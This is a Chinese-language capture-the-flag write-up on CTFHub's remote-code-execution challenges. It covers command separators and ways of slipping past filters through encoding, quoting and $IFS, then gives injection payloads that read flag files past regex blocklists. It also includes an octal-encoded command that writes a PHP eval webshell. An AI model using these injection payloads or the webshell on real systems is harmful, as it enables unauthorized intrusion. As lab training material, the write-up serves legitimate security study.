CTFHub_技能樹_遠程代碼執行


RCE遠程代碼執行

命令分割符:

linux:

%0a 、%0d 、; 、& 、| 、&&、||

分隔符 描述
; 如果每個命令都被一個分號(;)所分隔,那么命令會連續地執行下去
&& 前面執行成功后面才會執行
& 不執行錯誤檢查和運行所有命令
|| 前面執行失敗才會執行后面
| 符號 左邊輸出 作為右邊輸入。會顯示最后一個命令的執行結果

windows:

%0a、&、|、%1a(一個神奇的角色,作為.bat文件中的命令分隔符)

敏感字符過濾繞過:

關於命令執行以及常見的一些繞過過濾的方法

  1. 使用拼接繞過

    a=fl;b=ag;cat $a$b
    
  2. 使用編碼繞過

    • base

      echo MTIzCg==|base64 -d		#123
      
    • hex

      echo "313233"|xxd -r -p		#123
      
    • oct

      $(printf "\154\163")		#ls
      #可以通過這樣來寫webshell,內容為<?php @eval($_POST['c']);?>
      ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
      
  3. 反斜杠

    ca\t fl\ag

  4. 單引號和雙引號繞過

    ca''t flagca""t flag

  5. ${}執行代碼

    ${phpinfo()};

過濾空格:

空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果單純的cat$IFS2,bash解釋器會把整個IFS2當做變量名,所以導致輸不出來結果,然而如果加一個{}就固定了變量名,同理在后面加個$可以起到截斷的作用,但是為什么要用$9呢,因為$9只是當前系統shell進程的第九個參數的持有者,它始終為空字符串。

命令注入

題目信息:

RCE_command_1

嘗試命令注入:

RCE_command_2

看到有一個php文件,8061098418328.php,直接用cat,但是沒有顯示。

RCE_command_3

解法一:

考慮到可能有無法顯示的特殊字符,使用base64輸出

RCE_command_4

<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}

解法二:

嘗試寫入一句話后門:

RCE_command_5

后門寫入成功

RCE_command_6

獲得flag

RCE_command_7

過濾cat

本題過濾了cat

使用ca\t繞過

沒有回顯,嘗試通過查看網頁源代碼,或者base64輸出解碼得到flag

過濾空格

RCE_space_1

使用<代替空格:

解法一:

base64

RCE_space_2

解法二:

127.0.0.1&cat<flag_21154267199923.php

查看源代碼:

RCE_space_3

過濾分割符

查看目錄下的文件:

過濾分割符1

由於過濾了\,考慮先切換到相應目錄,在進行查看:

127.0.0.1&cd flag_is_here;ls

過濾分割符2

可以選擇base64或查看網頁源代碼

這里我選擇直接查看源代碼

127.0.0.1&cd flag_is_here;cat flag_3975901425465.php

過濾分割符3

過濾運算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||\&)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

過濾了|&,使用;分隔命令:

過濾運算符1

直接給出payload:

127.0.0.1;cat flag_35923221712564.php

127.0.0.1;base64 flag_35923221712564.php = 127.0.0.1;cat flag_35923221712564.php|base64

過濾運算符2

綜合練習

先看源代碼:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

過濾清單還是比較豪華的。

嘗試繞過:

使用%0a分隔命令,使用%09代替空格

查看當前目錄下的文件:

綜合練習1

查看flag_is_here文件夾下的文件:127.0.0.1%0als%09*is_here

綜合練習2

查看flag:

構造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php

綜合練習3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM